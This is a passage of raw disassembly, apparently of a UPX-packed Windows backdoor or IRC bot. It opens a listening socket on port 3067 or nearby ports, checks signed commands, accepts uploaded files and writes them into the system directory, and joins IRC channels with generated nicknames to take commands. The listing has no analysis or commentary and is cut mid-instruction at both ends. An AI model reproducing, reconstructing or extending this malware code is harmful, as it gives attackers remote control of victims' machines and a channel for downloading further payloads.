[ebp+var_84] push eax push 0 call sub_315025F6 add esp, 1Ch jmp short loc_315027FB ; --------------------------------------------------------------------------- loc_3150279D: ; CODE XREF: sub_315026C2+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_31501064 ; lstrcmpiA test eax, eax jnz short loc_315027E6 lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_315023E4 add esp, 14h test eax, eax jnz short loc_315027FB push ebx push edi push esi mov ds:dword_315061A0, 1 call sub_315023AF add esp, 0Ch jmp short loc_315027FB ; --------------------------------------------------------------------------- loc_315027E6: ; CODE XREF: sub_315026C2+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_315025F6 pop ecx pop ecx loc_315027FB: ; CODE XREF: sub_315026C2+1Fj ; sub_315026C2+D9j ... pop edi pop esi pop ebx leave retn sub_315026C2 endp ; =============== S U B R O U T I N E ======================================= sub_31502800 proc near ; CODE XREF: sub_31501BA8+7Ap ; sub_315028AE+2Ap ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_3150105C ; VirtualAlloc retn sub_31502800 endp ; =============== S U B R O U T I N E ======================================= sub_31502814 proc near ; CODE XREF: sub_315028AE+EBp ; sub_31502B4C+75p ... arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31501058 ; VirtualFree retn sub_31502814 endp ; =============== S U B R O U T I N E ======================================= sub_31502826 proc near ; CODE XREF: sub_31502B4C+32p push esi mov esi, ecx push offset aCont ; "cont" and dword ptr [esi], 0 lea eax, [esi+4] push eax call dword_31501088 ; lstrcpyA mov eax, esi pop esi retn sub_31502826 endp ; =============== S U B R O U T I N E ======================================= sub_3150283F proc near ; CODE XREF: sub_31502B4C+3Ap push ebx push ebp mov ebx, dword_31501018 push esi push edi xor ebp, ebp mov edi, ecx push ebp push 1 push ebp lea esi, [edi+0Eh] push ebp push esi call ebx ; CryptAcquireContextA test eax, eax jnz short loc_3150286E push 8 push 1 push ebp push ebp push esi call ebx ; CryptAcquireContextA test eax, eax jnz short loc_3150286E push 1 pop eax jmp short loc_3150288E ; --------------------------------------------------------------------------- loc_3150286E: ; CODE XREF: sub_3150283F+1Bj ; sub_3150283F+28j add edi, 12h push edi push ebp push ebp push 114h push offset dword_31505CF8 push dword ptr [esi] call dword_3150101C ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_3150288E: ; CODE XREF: sub_3150283F+2Dj pop edi pop esi pop ebp pop ebx retn sub_3150283F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_31502893 proc near ; CODE XREF: sub_31502B4C+7Ep push esi mov esi, ecx push dword ptr [esi+12h] call dword_31501010 ; CryptDestroyKey push 0 push dword ptr [esi+0Eh] call dword_31501014 ; CryptReleaseContext xor eax, eax pop esi retn sub_31502893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315028AE proc near ; CODE XREF: sub_31502B4C+46p var_28 = byte ptr -28h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi lea eax, [ebp+var_28] push edi mov [ebp+var_8], ecx push eax call dword_31501050 ; GetSystemTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_28] push eax call dword_31501054 ; SystemTimeToFileTime mov esi, 4000h push esi call sub_31502800 mov ebx, [ebp+arg_0] pop ecx mov edi, eax push 0 push esi push edi push dword ptr [ebx] call dword_315011A0 ; recv lea esi, [edi+8] push 8 lea eax, [ebp+var_10] push esi push eax call sub_31503A44 ; memcpy mov ecx, [ebp+var_10] mov eax, [ebp+var_C] add esp, 0Ch sub ecx, [ebp+var_18] sbb eax, [ebp+var_14] cmp eax, 8 jg short loc_3150298F jl short loc_3150291C cmp ecx, 61C46800h ja short loc_3150298F loc_3150291C: ; CODE XREF: sub_315028AE+64j cmp eax, 0FFFFFFF7h jl short loc_3150298F jg short loc_3150292B cmp ecx, 9E3B9800h jb short loc_3150298F loc_3150292B: ; CODE XREF: sub_315028AE+73j lea eax, [ebp+var_4] push eax mov eax, [ebp+var_8] push 0 push 0 push 8003h push dword ptr [eax+0Eh] call dword_31501000 ; CryptCreateHash test eax, eax jz short loc_31502980 push 0 push 8 push esi push [ebp+var_4] call dword_31501004 ; CryptHashData test eax, eax jz short loc_31502980 mov eax, [edi+10h] cmp eax, 2800h ja short loc_31502980 mov ecx, [ebp+var_8] xor esi, esi push esi push esi push dword ptr [ecx+12h] push eax lea eax, [edi+14h] push eax push [ebp+var_4] call dword_31501008 ; CryptVerifySignatureA test eax, eax jnz short loc_315029A8 loc_31502980: ; CODE XREF: sub_315028AE+98j ; sub_315028AE+AAj ... call dword_31501098 ; RtlGetLastWin32Error push [ebp+var_4] call dword_3150100C ; CryptDestroyHash loc_3150298F: ; CODE XREF: sub_315028AE+62j ; sub_315028AE+6Cj ... call dword_31501098 ; RtlGetLastWin32Error push 2 pop esi loc_31502998: ; CODE XREF: sub_315028AE+117j push edi call sub_31502814 pop ecx mov eax, esi pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_315029A8: ; CODE XREF: sub_315028AE+D0j push [ebp+var_4] call dword_3150100C ; CryptDestroyHash call dword_31501124 ; rand push esi push 4 push edi mov [edi], eax push dword ptr [ebx] call dword_3150119C ; send jmp short loc_31502998 sub_315028AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315029C7 proc near ; CODE XREF: sub_31502B4C+6Ap var_220 = byte ptr -220h var_118 = byte ptr -118h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 220h cmp [ebp+arg_8], 8 push ebx push esi push edi jge short loc_315029E6 push 0 push [ebp+arg_8] push [ebp+arg_4] jmp loc_31502B3E ; --------------------------------------------------------------------------- loc_315029E6: ; CODE XREF: sub_315029C7+10j mov esi, [ebp+arg_4] mov ebx, 104h mov eax, [esi] lea edi, [esi+8] test eax, eax mov [ebp+arg_4], eax jnz loc_31502AF7 lea eax, [ebp+var_220] push ebx push eax call dword_31501068 ; GetSystemDirectoryA lea eax, [ebp+var_220] push eax call dword_31501048 ; SetCurrentDirectoryA mov eax, [edi] push ebx mov [ebp+arg_8], eax mov eax, [edi+4] mov [ebp+var_4], eax lea eax, [edi+8] push eax lea eax, [ebp+var_118] push eax call dword_315010A8 ; lstrcpynA xor eax, eax push eax push eax push 2 push eax push eax lea eax, [ebp+var_118] push 40000000h push eax call dword_315010F0 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_31502AE5 mov ebx, dword_3150119C push 0 push 8 push esi push [ebp+arg_0] mov dword ptr [esi+4], 1 call ebx ; send mov eax, [ebp+arg_8] xor edx, edx div [ebp+var_4] xor edx, edx mov [ebp+arg_4], eax mov eax, [ebp+arg_8] div [ebp+var_4] test edx, edx jz short loc_31502A8D inc [ebp+arg_4] loc_31502A8D: ; CODE XREF: sub_315029C7+C1j and [ebp+var_8], 0 cmp [ebp+arg_4], 0 jle short loc_31502ADA loc_31502A97: ; CODE XREF: sub_315029C7+111j push 0 push [ebp+var_4] push edi push [ebp+arg_0] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [ebp+arg_8], eax jz short loc_31502ADA lea ecx, [ebp+var_10] push 0 push ecx push eax push edi push [ebp+var_C] call dword_3150104C ; WriteFile mov eax, [ebp+arg_8] push 0 push 8 push esi push [ebp+arg_0] mov [esi+4], eax call ebx ; send inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jl short loc_31502A97 loc_31502ADA: ; CODE XREF: sub_315029C7+CEj ; sub_315029C7+E5j push [ebp+var_C] call dword_315010BC ; CloseHandle jmp short loc_31502B47 ; --------------------------------------------------------------------------- loc_31502AE5: ; CODE XREF: sub_315029C7+8Fj and dword ptr [esi+4], 0 push 0 push 8 push esi push [ebp+arg_0] call dword_3150119C ; send loc_31502AF7: ; CODE XREF: sub_315029C7+31j cmp [ebp+arg_4], 1 jnz short loc_31502B26 lea eax, [ebp+var_118] push ebx push eax call dword_31501068 ; GetSystemDirectoryA lea eax, [ebp+var_118] push eax call dword_31501048 ; SetCurrentDirectoryA push 0 push 4 push esi push [ebp+arg_0] call dword_3150119C ; send loc_31502B26: ; CODE XREF: sub_315029C7+134j cmp [ebp+arg_4], 3 jnz short loc_31502B47 push dword ptr [edi] add edi, 4 push edi call sub_31501962 pop ecx pop ecx push 0 push 4 push esi loc_31502B3E: ; CODE XREF: sub_315029C7+1Aj push [ebp+arg_0] call dword_3150119C ; send loc_31502B47: ; CODE XREF: sub_315029C7+11Cj ; sub_315029C7+163j pop edi pop esi pop ebx leave retn sub_315029C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502B4C proc near ; DATA XREF: sub_31502BE8+AAo var_30 = dword ptr -30h var_1C = dword ptr -1Ch var_18 = byte ptr -18h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 30h push esi push edi call sub_315018BA mov esi, [ebp+arg_0] push 6 pop ecx lea edi, [ebp+var_30] rep movsd push [ebp+var_1C] call dword_315010D8 ; SetEvent mov esi, 10000h push esi call sub_31502800 pop ecx mov edi, eax lea ecx, [ebp+var_18] call sub_31502826 lea ecx, [ebp+var_18] call sub_3150283F lea eax, [ebp+var_30] lea ecx, [ebp+var_18] push eax call sub_315028AE test eax, eax jnz short loc_31502BC0 loc_31502B9B: ; CODE XREF: sub_31502B4C+72j push 0 push esi push edi push [ebp+var_30] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz short loc_31502BC0 test eax, eax jz short loc_31502BC0 push eax push edi push [ebp+var_30] call sub_315029C7 add esp, 0Ch jmp short loc_31502B9B ; --------------------------------------------------------------------------- loc_31502BC0: ; CODE XREF: sub_31502B4C+4Dj ; sub_31502B4C+5Fj ... push edi call sub_31502814 pop ecx lea ecx, [ebp+var_18] call sub_31502893 push [ebp+var_30] call dword_315011A8 ; closesocket push 0 call dword_315010E0 ; ExitThread pop edi xor eax, eax pop esi leave retn 4 sub_31502B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_31502BE8 proc near ; DATA XREF: sub_31501D96+156o var_44 = dword ptr -44h var_40 = byte ptr -40h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 44h push ebx push esi xor esi, esi push edi push esi push 1 push 2 call dword_3150118C ; socket mov [ebp+var_4], eax push 10h lea eax, [ebp+var_1C] push esi push eax call sub_31503A38 ; memset add esp, 0Ch mov [ebp+var_1C], 2 mov [ebp+var_18], esi loc_31502C19: ; CODE XREF: sub_31502BE8+59j lea eax, [esi+0BFBh] push eax call dword_31501194 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_1C] push 10h push eax push [ebp+var_4] call dword_31501170 ; bind test eax, eax jz short loc_31502C43 inc esi cmp esi, 0Ah jl short loc_31502C19 loc_31502C43: ; CODE XREF: sub_31502BE8+53j push 32h push [ebp+var_4] call dword_31501174 ; listen mov ebx, dword_315010BC loc_31502C54: ; CODE XREF: sub_31502BE8+CDj lea eax, [ebp+var_8] mov [ebp+var_8], 10h push eax lea eax, [ebp+var_2C] push eax push [ebp+var_4] call dword_31501178 ; accept lea esi, [ebp+var_2C] lea edi, [ebp+var_40] mov [ebp+var_44], eax movsd movsd movsd movsd xor esi, esi push esi push esi push 1 push esi call dword_3150108C ; CreateEventA mov [ebp+var_30], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_44] push esi push eax push offset sub_31502B4C push esi push esi call dword_315010D0 ; CreateThread push eax call ebx ; CloseHandle push 3E8h push [ebp+var_30] call dword_31501090 ; WaitForSingleObject push [ebp+var_30] call ebx ; CloseHandle jmp short loc_31502C54 sub_31502BE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502CB7 proc near ; CODE XREF: sub_31502D3C+25p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31502CEA add ebx, 1Ah loc_31502CEA: ; CODE XREF: sub_31502CB7+2Ej movsx edi, [ebp+arg_0] mov esi, dword_31501110 lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31502D14 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31502D37 ; --------------------------------------------------------------------------- loc_31502D14: ; CODE XREF: sub_31502CB7+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31502D34 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31502D37 ; --------------------------------------------------------------------------- loc_31502D34: ; CODE XREF: sub_31502CB7+68j mov al, [ebp+arg_0] loc_31502D37: ; CODE XREF: sub_31502CB7+5Bj ; sub_31502CB7+7Bj pop edi pop esi pop ebx leave retn sub_31502CB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502D3C proc near ; CODE XREF: sub_31503722+F7p ; sub_31503722+137p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_31502D97 mov edi, [ebp+arg_0] push ebx loc_31502D51: ; CODE XREF: sub_31502D3C+56j mov bl, al inc [ebp+arg_4] mov eax, esi mov byte ptr [ebp+arg_0], bl neg eax push eax push [ebp+arg_0] call sub_31502CB7 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_31502D7B cmp bl, 7Ah jg short loc_31502D7B movsx esi, bl sub esi, 61h loc_31502D7B: ; CODE XREF: sub_31502D3C+32j ; sub_31502D3C+37j cmp bl, 41h jl short loc_31502D8B cmp bl, 5Ah jg short loc_31502D8B movsx esi, bl sub esi, 41h loc_31502D8B: ; CODE XREF: sub_31502D3C+42j ; sub_31502D3C+47j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_31502D51 pop ebx jmp short loc_31502D9A ; --------------------------------------------------------------------------- loc_31502D97: ; CODE XREF: sub_31502D3C+Fj mov edi, [ebp+arg_0] loc_31502D9A: ; CODE XREF: sub_31502D3C+59j and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_31502D3C endp ; =============== S U B R O U T I N E ======================================= sub_31502DA1 proc near ; CODE XREF: UPX0:3150346Ep push esi mov esi, ecx push 20001h call sub_31502800 mov [esi+2Ch], eax pop ecx mov eax, esi pop esi retn sub_31502DA1 endp ; =============== S U B R O U T I N E ======================================= sub_31502DB6 proc near ; CODE XREF: UPX0:315034CEp ; UPX0:31503521p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push 27h push [esp+8+arg_0] lea eax, [esi+4] push eax call dword_315010A8 ; lstrcpynA mov eax, [esp+4+arg_4] mov [esi+58h], eax pop esi retn 8 sub_31502DB6 endp ; --------------------------------------------------------------------------- loc_31502DD4: ; CODE XREF: UPX0:31503AD6j push esi mov esi, ecx lea eax, [esi+4] push eax call sub_31502814 push dword ptr [esi+2Ch] call sub_31502814 pop ecx pop ecx pop esi retn ; =============== S U B R O U T I N E ======================================= sub_31502DEC proc near ; CODE XREF: UPX0:315034ECp ; UPX0:3150353Fp var_138 = byte ptr -138h var_12C = byte ptr -12Ch var_128 = byte ptr -128h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 138h push ebx push ebp push esi xor ebx, ebx push edi push ebx push 1 mov esi, ecx push 2 call dword_3150118C ; socket mov [esi+5Ch], eax lea eax, [esi+4] push eax call sub_315019B8 mov [esi+64h], eax mov ax, [esi+58h] pop ecx lea edi, [esi+60h] push eax mov word ptr [edi], 2 call dword_31501194 ; ntohs push 10h push edi push dword ptr [esi+5Ch] mov [esi+62h], ax call dword_31501198 ; connect test eax, eax jnz loc_31502FF1 push ebx push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz loc_31502FF1 mov ecx, [esi+2Ch] and [ecx+eax], bl push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E lea eax, [esp+148h+var_138] push 9 push eax call sub_31501932 mov ebp, dword_3150113C lea eax, [esp+150h+var_138] push eax lea eax, [esp+154h+var_12C] push offset aPassS ; "PASS %s\r\n" push eax call ebp ; wsprintfA mov edi, dword_315010A4 add esp, 14h push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push ebx mov ebx, dword_315010A0 push eax call ebx ; lstrlenA push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push [esp+148h+arg_0] lea eax, [esp+14Ch+var_12C] push offset aNickS ; "NICK %s\r\n" push eax call ebp ; wsprintfA add esp, 0Ch push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push 0 push eax call ebx ; lstrlenA push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz loc_31502FF1 mov ecx, [esi+2Ch] push 64h and byte ptr [ecx+eax], 0 call edi ; Sleep loc_31502F15: ; CODE XREF: sub_31502DEC+1ADj push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E push offset aAlready ; "already" push dword ptr [esi+2Ch] call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_31502F9E push [esp+148h+arg_4] push [esp+14Ch+arg_0] call sub_31501932 push [esp+150h+arg_0] lea eax, [esp+154h+var_12C] push offset aNickS ; "NICK %s\r\n" push eax call ebp ; wsprintfA add esp, 14h push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push 0 push eax call ebx ; lstrlenA push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_31502FF1 mov ecx, [esi+2Ch] and byte ptr [ecx+eax], 0 jmp loc_31502F15 ; --------------------------------------------------------------------------- loc_31502F9E: ; CODE XREF: sub_31502DEC+145j push [esp+148h+arg_8] lea eax, [esp+14Ch+var_12C] push [esp+14Ch+arg_0] push offset aUserS8S ; "USER %s 8 * :%s\r\n" push eax call ebp ; wsprintfA add esp, 10h push 64h call edi ; Sleep xor edi, edi lea eax, [esp+148h+var_12C] push edi push eax call ebx ; lstrlenA push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push edi push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_31502FFF loc_31502FF1: ; CODE XREF: sub_31502DEC+4Ej ; sub_31502DEC+6Bj ... push dword ptr [esi+5Ch] call dword_315011A8 ; closesocket push 1 pop eax jmp short loc_31503021 ; --------------------------------------------------------------------------- loc_31502FFF: ; CODE XREF: sub_31502DEC+203j mov ecx, [esi+2Ch] and byte ptr [ecx+eax], 0 push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E mov [esi+284h], edi mov [esi+7Ch], edi mov [esi+70h], edi mov [esi+74h], edi xor eax, eax loc_31503021: ; CODE XREF: sub_31502DEC+211j pop edi pop esi pop ebp pop ebx add esp, 138h retn 0Ch sub_31502DEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3150302E proc near ; CODE XREF: sub_31502DEC+7Cp ; sub_31502DEC+12Ep ... var_190 = byte ptr -190h var_64 = byte ptr -64h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h push ebx push esi push edi push offset aPing ; "PING" push [ebp+arg_0] mov ebx, ecx call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_315030A8 mov esi, dword_315010A0 lea edi, [eax+4] push edi call esi ; lstrlenA dec eax cmp eax, 63h jle short loc_31503067 push 1 pop eax jmp short loc_315030AA ; --------------------------------------------------------------------------- loc_31503067: ; CODE XREF: sub_3150302E+32j push eax lea eax, [ebp+var_64] push edi push eax call dword_315010A8 ; lstrcpynA lea eax, [ebp+var_64] push eax lea eax, [ebp+var_190] push offset aPongS ; "PONG%s\r\n" push eax call dword_3150113C ; wsprintfA add esp, 0Ch lea eax, [ebp+var_190] push 0 push eax call esi ; lstrlenA push eax lea eax, [ebp+var_190] push eax push dword ptr [ebx+5Ch] call dword_3150119C ; send loc_315030A8: ; CODE XREF: sub_3150302E+20j xor eax, eax loc_315030AA: ; CODE XREF: sub_3150302E+37j pop edi pop esi pop ebx leave retn 4 sub_3150302E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315030B1 proc near ; CODE XREF: UPX0:3150358Dp var_12C = byte ptr -12Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 12Ch push esi push edi push [ebp+arg_0] lea eax, [ebp+var_12C] mov esi, ecx push offset aJoinS ; "JOIN %s\r\n" push eax call dword_3150113C ; wsprintfA mov edi, dword_315010A4 add esp, 0Ch push 64h call edi ; Sleep lea eax, [ebp+var_12C] push 0 push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_12C] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push 64h call edi ; Sleep push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv mov ecx, [esi+2Ch] mov [esi], eax and byte ptr [ecx+eax], 0 mov eax, [esi] cmp eax, 0FFFFFFFFh jz short loc_3150317A test eax, eax jz short loc_3150317A push 64h call edi ; Sleep push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E mov edi, dword_31501120 push offset a451 ; "451" push dword ptr [esi+2Ch] call edi ; strstr pop ecx test eax, eax pop ecx jz short loc_31503153 push 3 jmp short loc_3150317C ; --------------------------------------------------------------------------- loc_31503153: ; CODE XREF: sub_315030B1+9Cj push offset aPing ; "PING" push dword ptr [esi+2Ch] call edi ; strstr pop ecx test eax, eax pop ecx jz short loc_31503167 push 4 jmp short loc_3150317C ; --------------------------------------------------------------------------- loc_31503167: ; CODE XREF: sub_315030B1+B0j push 23h add esi, 30h push [ebp+arg_0] push esi call dword_315010A8 ; lstrcpynA xor eax, eax jmp short loc_3150317D ; --------------------------------------------------------------------------- loc_3150317A: ; CODE XREF: sub_315030B1+74j ; sub_315030B1+78j push 2 loc_3150317C: ; CODE XREF: sub_315030B1+A0j ; sub_315030B1+B4j pop eax loc_3150317D: ; CODE XREF: sub_315030B1+C7j pop edi pop esi leave retn 4 sub_315030B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31503183 proc near ; CODE XREF: sub_315031EC+83p ; UPX0:315035E9p var_14C = byte ptr -14Ch var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 14Ch push esi mov esi, ecx call dword_31501124 ; rand sub eax, 3 and eax, 7 push eax lea eax, [ebp+var_20] push eax call sub_31501932 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14C] push offset aQuitS ; "QUIT %s\r\n" push eax call dword_3150113C ; wsprintfA add esp, 14h lea eax, [ebp+var_14C] push 0 push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_14C] push eax push dword ptr [esi+5Ch] call dword_3150119C ; send push dword ptr [esi+5Ch] call dword_315011A8 ; closesocket xor eax, eax pop esi leave retn sub_31503183 endp ; =============== S U B R O U T I N E ======================================= sub_315031EC proc near ; CODE XREF: UPX0:315035D1p mov eax, offset loc_31503AC4 call sub_31503A98 sub esp, 110h push ebx push esi push edi mov edi, dword_315010C8 mov esi, ecx mov [ebp-10h], esp mov [ebp-14h], esi call edi ; GetTickCount mov [ebp-18h], eax mov eax, [esi+5Ch] mov dword ptr [ebp-11Ch], 1 mov [ebp-118h], eax xor ebx, ebx loc_31503227: ; CODE XREF: sub_315031EC+EFj call sub_31501A32 test eax, eax jz short loc_31503274 push ebx push ebx lea eax, [ebp-11Ch] push ebx push eax push 1 call dword_31501164 ; select cmp eax, 0FFFFFFFFh jz short loc_31503274 call sub_31501D82 test eax, eax jz short loc_31503258 push 1 call dword_315010E0 ; ExitThread loc_31503258: ; CODE XREF: sub_315031EC+62j mov [ebp-4], ebx call edi ; GetTickCount mov ecx, [ebp+8] sub eax, [ebp-18h] imul ecx, 0EA60h cmp eax, ecx jbe short loc_31503287 mov ecx, esi call sub_31503183 loc_31503274: ; CODE XREF: sub_315031EC+42j ; sub_315031EC+59j ... xor eax, eax loc_31503276: ; CODE XREF: sub_315031EC+109j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_31503287: ; CODE XREF: sub_315031EC+7Fj push ebx push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_315032F2 mov ecx, [esi+2Ch] push 64h mov [ecx+eax], bl call dword_315010A4 ; Sleep push dword ptr [esi+2Ch] mov ecx, esi call sub_3150302E push dword ptr [esi+2Ch] mov ecx, esi call sub_31503722 cmp eax, ebx jnz short loc_31503274 or dword ptr [ebp-4], 0FFFFFFFFh call sub_31501A32 test eax, eax jz short loc_31503274 push 64h call dword_315010A4 ; Sleep jmp loc_31503227 ; --------------------------------------------------------------------------- loc_315032E0: ; DATA XREF: UPX0:31503B3Co mov eax, [ebp-14h] push dword ptr [eax+5Ch] call dword_315011A8 ; closesocket mov eax, offset loc_315032F2 retn ; --------------------------------------------------------------------------- loc_315032F2: ; CODE XREF: sub_315031EC+B2j ; DATA XREF: sub_315031EC+100o push 1 pop eax jmp loc_31503276 sub_315031EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315032FA proc near ; CODE XREF: sub_31503722+9Cp ; sub_31503722+2B7p var_12C = byte ptr -12Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 12Ch push ebx push esi mov esi, dword_315010A0 push edi push [ebp+arg_0] mov edi, ecx call esi ; lstrlenA push [ebp+arg_4] mov ebx, eax call esi ; lstrlenA add ebx, eax cmp ebx, 10Eh jle short loc_31503329 push 1 pop eax jmp short loc_3150336A ; --------------------------------------------------------------------------- loc_31503329: ; CODE XREF: sub_315032FA+28j push [ebp+arg_4] lea eax, [ebp+var_12C] push [ebp+arg_0] push offset aPrivmsgSS ; "PRIVMSG %s %s\r\n" push eax call dword_3150113C ; wsprintfA add esp, 10h push 64h call dword_315010A4 ; Sleep lea eax, [ebp+var_12C] push 0 push eax call esi ; lstrlenA push eax lea eax, [ebp+var_12C] push eax push dword ptr [edi+5Ch] call dword_3150119C ; send xor eax, eax loc_3150336A: ; CODE XREF: sub_315032FA+2Dj pop edi pop esi pop ebx leave retn 8 sub_315032FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31503371 proc near ; CODE XREF: UPX0:31503484p var_24 = qword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_16 = word ptr -16h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch lea eax, [ebp+var_1C] push eax call dword_31501050 ; GetSystemTime movzx eax, [ebp+var_1A] mov [ebp+var_4], eax push ecx fild [ebp+var_4] push ecx fstp [esp+24h+var_24] call sub_31503AAA ; atan movzx eax, [ebp+var_16] fstp [ebp+var_C] mov [ebp+var_4], eax fild [ebp+var_4] fstp [esp+24h+var_24] call sub_31503AA4 ; sin movzx eax, [ebp+var_1C] fmul [ebp+var_C] lea eax, [eax+eax*2] fstp [ebp+var_C] mov [ebp+var_4], eax fild [ebp+var_4] fstp [esp+24h+var_24] call sub_31503A9E ; cos fadd [ebp+var_C] fstp [ebp+var_C] push dword ptr [ebp+var_C] call dword_31501128 ; srand mov eax, [ebp+arg_0] push 7 mov byte ptr [eax], 23h inc eax push eax call sub_31501932 push 8 push [ebp+arg_4] call sub_31501932 add esp, 1Ch call dword_31501124 ; rand push 1Ah cdq pop ecx idiv ecx mov eax, [ebp+arg_8] mov [eax], edx call sub_315018BA leave retn sub_31503371 endp ; --------------------------------------------------------------------------- loc_31503408: ; DATA XREF: sub_31501D96+140o mov eax, offset loc_31503ADB call sub_31503A98 sub esp, 2E8h push ebx push esi xor ebx, ebx push edi mov 